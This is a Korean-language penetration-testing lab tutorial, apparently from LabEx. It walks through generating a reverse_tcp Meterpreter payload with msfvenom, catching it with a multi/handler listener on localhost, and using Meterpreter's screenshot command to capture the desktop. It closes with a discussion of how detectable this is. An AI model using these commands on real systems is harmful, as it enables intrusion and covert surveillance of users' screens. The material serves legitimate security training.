Meterpreter 의 screenshot 명령어로 대상 데스크톱 캡처하기

Kali LinuxBeginner
지금 연습하기

소개

Meterpreter 는 메모리 내 DLL 주입 스테이저를 사용하고 런타임에 네트워크를 통해 확장되는 고급의 동적 확장 가능 페이로드입니다. Metasploit Framework 의 핵심 구성 요소이며, 침해된 시스템에서 후속 공격 활동에 사용됩니다. Meterpreter 의 강력한 기능 중 하나는 대상 시스템의 데스크톱과 상호 작용하는 능력입니다.

이 실습에서는 Meterpreter 세션 내에서 screenshot 명령어를 사용하는 방법을 배우게 됩니다. 이 명령어를 통해 공격자는 대상 시스템의 현재 데스크톱 이미지를 캡처할 수 있으며, 이는 사용자의 활동, 열려 있는 애플리케이션 및 화면에 표시될 수 있는 민감한 정보에 대한 귀중한 정보를 제공합니다.

그래픽 대상에 Meterpreter 세션 설정

이 단계에서는 단일 머신에서 완전한 공격 주기를 시뮬레이션합니다. msfvenom을 사용하여 페이로드를 생성하고, msfconsole을 사용하여 리스너를 설정한 다음, 페이로드를 실행하여 자체 머신과의 Meterpreter 세션을 설정합니다. 이는 침투 테스트 기술을 연습하는 안전하고 일반적인 방법입니다.

먼저 터미널을 열고 msfvenom을 사용하여 Linux Meterpreter 페이로드를 생성합니다. 이 명령은 실행 시 리스너에 다시 연결되는 실행 파일을 생성합니다.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
  • -p: 사용할 페이로드를 지정합니다.
  • LHOST=127.0.0.1: "수신 대기 호스트" IP 주소입니다. 리스너가 동일한 머신에 있기 때문에 127.0.0.1을 사용합니다.
  • LPORT=4444: 다시 연결할 포트입니다.
  • -f elf: Linux 용 실행 파일인 출력 형식입니다.
  • -o: 출력 파일 이름입니다.

다음으로, 생성된 페이로드를 실행 가능하게 만듭니다.

chmod +x ~/project/payload.elf

이제 페이로드로부터의 연결을 수신할 리스너를 설정해야 합니다. 메타스플로잇 프레임워크 콘솔을 조용한 모드로 시작합니다.

msfconsole -q

msfconsole 내에서 multi/handler를 구성하여 들어오는 연결을 수신 대기합니다. 다음 명령을 하나씩 입력합니다.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

이제 콘솔을 계속 사용할 수 있도록 리스너를 백그라운드 작업으로 실행합니다.

exploit -j

핸들러가 시작되었다는 메시지가 표시되어야 합니다. 이제 페이로드를 실행해야 합니다. 터미널 창에서 + 아이콘을 클릭하여 새로운 두 번째 터미널 탭을 엽니다. 이 새 탭에서 생성한 페이로드를 실행합니다.

~/project/payload.elf

msfconsole이 있는 첫 번째 터미널 탭으로 돌아갑니다. Meterpreter 세션이 열렸음을 나타내는 메시지가 표시되어야 합니다. 이를 확인하고 상호 작용하려면 활성 세션을 나열합니다.

sessions -l

세션 ID(아마도 1) 가 있는 새 세션이 표시됩니다. 해당 ID 를 사용하여 상호 작용합니다.

sessions -i 1

프롬프트가 meterpreter >로 변경되어 세션을 제어하고 있음을 확인합니다.

스크린샷 명령어를 사용하여 화면 캡처하기

이 단계에서는 간단하지만 강력한 Meterpreter 명령어를 사용하여 대상의 데스크톱을 캡처합니다. 이제 활성 Meterpreter 세션 ( meterpreter > 프롬프트로 표시됨) 이 있으므로 침해된 시스템에서 명령을 실행할 수 있습니다.

screenshot 명령어는 간단합니다. 대상 머신의 대화형 사용자 데스크톱 세션의 전체 화면을 캡처합니다.

meterpreter > 프롬프트에서 명령어를 입력하고 Enter 키를 누르기만 하면 됩니다.

screenshot

Meterpreter 는 화면을 캡처하고 이미지 데이터를 공격자 머신 (LabEx VM) 으로 전송하는 데 잠시 시간이 걸립니다. 성공하면 스크린샷이 저장된 위치를 나타내는 메시지가 출력됩니다. 파일 이름은 .jpeg 확장자를 가진 임의의 문자열입니다.

출력은 다음과 유사하게 표시됩니다.

Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg

이제 대상의 데스크톱을 성공적으로 캡처했습니다. 이미지 파일은 로컬 머신에 저장되어 볼 준비가 되었습니다.

Kali 머신에서 저장된 이미지 파일 찾기

이 단계에서는 방금 로컬 머신에 저장된 스크린샷 파일을 찾습니다. screenshot 명령어는 캡처된 이미지를 msfconsole을 실행한 디렉터리 (이 경우 ~/project) 에 자동으로 저장합니다.

먼저 Meterpreter 세션을 종료하여 msfconsole 프롬프트로 돌아갑니다. exit를 입력하여 이를 수행할 수 있습니다.

exit

이제 msfconsole을 종료하여 일반 zsh 터미널 프롬프트로 돌아갑니다.

exit

이제 표준 터미널로 돌아왔습니다. 파일이 있는지 확인하려면 ls -l 명령어를 사용하여 프로젝트 디렉터리의 내용을 자세히 나열합니다.

ls -l ~/project

이전에 생성한 payload.elf 파일과 함께 목록에서 .jpeg 파일을 볼 수 있어야 합니다. JPEG 파일 이름은 다르겠지만 출력은 다음과 유사하게 표시됩니다.

-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex  54321 Nov 21 14:35 qKxRzYnL.jpeg

이를 통해 스크린샷이 성공적으로 전송되어 머신에 저장되었음을 확인할 수 있습니다.

캡처된 스크린샷 보기

이 단계에서는 캡처한 이미지를 볼 것입니다. LabEx 환경에는 그래픽 데스크톱이 포함되어 있으므로 명령줄에서 직접 이미지 뷰어를 사용하여 스크린샷 내용을 볼 수 있습니다.

Xfce 데스크톱 환경을 위한 간단한 이미지 뷰어인 ristretto를 사용하겠습니다. 스크린샷을 열려면 ristretto 명령어 뒤에 이미지 파일 경로를 실행해야 합니다.

이전 단계에서 찾은 스크린샷의 실제 임의 파일 이름으로 FILENAME.jpeg를 바꿔야 합니다. 예를 들어 파일 이름이 qKxRzYnL.jpeg인 경우 해당 이름을 사용합니다.

실제 파일 이름을 사용하여 터미널에서 다음 명령을 실행하십시오.

ristretto ~/project/FILENAME.jpeg

이미지 뷰어 창이 열리고 스크린샷이 표시됩니다. 자체 머신에서 페이로드를 실행했기 때문에 스크린샷은 자체 LabEx 데스크톱의 스크린샷이 됩니다! 이는 명령이 예상대로 정확하게 작동했는지 확인하는 좋은 방법입니다. 완료되면 이미지 뷰어 창을 닫을 수 있습니다.

이 작업의 운영 보안 (OPSEC) 문제 논의

이 단계에서는 실제 침투 테스트 중에 screenshot 명령어를 사용하는 것에 대한 운영 보안 (OPSEC) 영향을 논의합니다. 매우 유용한 명령어이지만 위험이 없는 것은 아닙니다.

1. 노이즈 생성 및 경고 트리거:
screenshot 명령어는 대상 운영 체제의 그래픽 API(Windows 의 GDI 또는 Linux 의 X11 등) 와 상호 작용하여 작동합니다. 엔드포인트 탐지 및 대응 (EDR) 또는 바이러스 백신 소프트웨어와 같은 고급 보안 제품은 이러한 API 호출을 모니터링합니다. 일반적으로 데스크톱과 상호 작용하지 않는 프로세스가 갑자기 스크린샷을 찍는 것은 매우 의심스러운 활동이며 경고를 트리거하고 보안 분석가에게 존재를 노출시킬 수 있습니다.

2. 증거 남기기:
이 명령은 공격자의 머신에 이미지 파일이 생성되는 결과를 낳습니다. 이 파일은 침입 및 수행된 특정 작업에 대한 직접적인 증거입니다. 공격 머신이 압수되거나 손상될 경우, 이 데이터는 활동 범위를 이해하는 데 사용될 수 있습니다.

3. 대상 측 아티팩트:
최종 이미지 파일은 사용자의 머신에 저장되지만, 화면 캡처 행위는 대상 시스템에 임시 아티팩트를 남길 수 있습니다. 여기에는 시스템 메모리의 흔적이나 의심스러운 활동을 감지한 보안 소프트웨어에서 생성된 로그가 포함될 수 있습니다. 숙련된 포렌식 조사관은 이미지 자체를 찾지 않고도 스크린샷이 찍혔다는 증거를 찾을 수 있습니다.

실제 공격에서는 screenshot과 같은 명령어를 신중하게 사용해야 합니다. 대상 시스템에 고급 모니터링 기능이 부족하다고 확신하거나 잠재적인 정보 획득 이익이 탐지 위험을 상회할 때 가장 잘 사용됩니다.

요약

이 실습에서는 기본적인 후속 공격 (post-exploitation) 기법에 대한 실습 경험을 쌓았습니다. Meterpreter 세션을 설정하고 screenshot 명령어를 사용하여 대상 시스템의 데스크톱을 캡처하는 방법을 성공적으로 배웠습니다.

전체 과정을 살펴보았습니다.

  • msfvenom으로 페이로드 생성
  • msfconsole로 리스너 설정
  • 페이로드 실행하여 리버스 쉘 획득
  • Meterpreter 세션과 상호 작용
  • 화면 캡처 및 결과 이미지 보기
  • 관련된 운영 보안 (OPSEC) 위험 고려

이 기술은 모든 침투 테스터의 도구 상자에서 귀중한 부분이며, 손상된 호스트로부터 시각적 정보를 직접 수집하는 방법을 제공합니다. 실습 완료를 축하합니다!